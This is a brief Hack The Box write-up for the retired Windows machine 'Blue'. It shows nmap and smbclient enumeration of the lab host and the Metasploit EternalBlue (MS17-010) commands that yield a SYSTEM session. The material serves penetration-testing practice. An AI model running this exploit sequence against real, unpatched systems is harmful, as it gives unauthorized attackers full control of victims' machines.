Hack The Box · Windows Machine

Blue

Machine details
NameBlue
Release date28 Jul 2017
Retire date13 Jan 2018
OSWindows
DifficultyEasy - Retired [0]
Rated difficultyBlue community difficulty rating
Radar graphBlue radar graph
Creatorch4p
CherryTree fileDownload and remove the .txt extension

SMB enumeration

Nmap identified Windows 7 Professional SP1 with SMB exposed on TCP 445. The OS version, SMBv1-era service, and machine name pointed directly toward MS17-010.

nmap -sC -sV -oA ./blue 10.10.10.40
smbclient -L //10.10.10.40

The system exposed the standard administrative shares plus Share and Users.

EternalBlue

The Metasploit EternalBlue module successfully exploited the vulnerable SMB service.

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.40
run
EternalBlue Metasploit module
Blue exploitation session

The exploit returned a SYSTEM-level session, providing immediate access to both flags.

Blue completed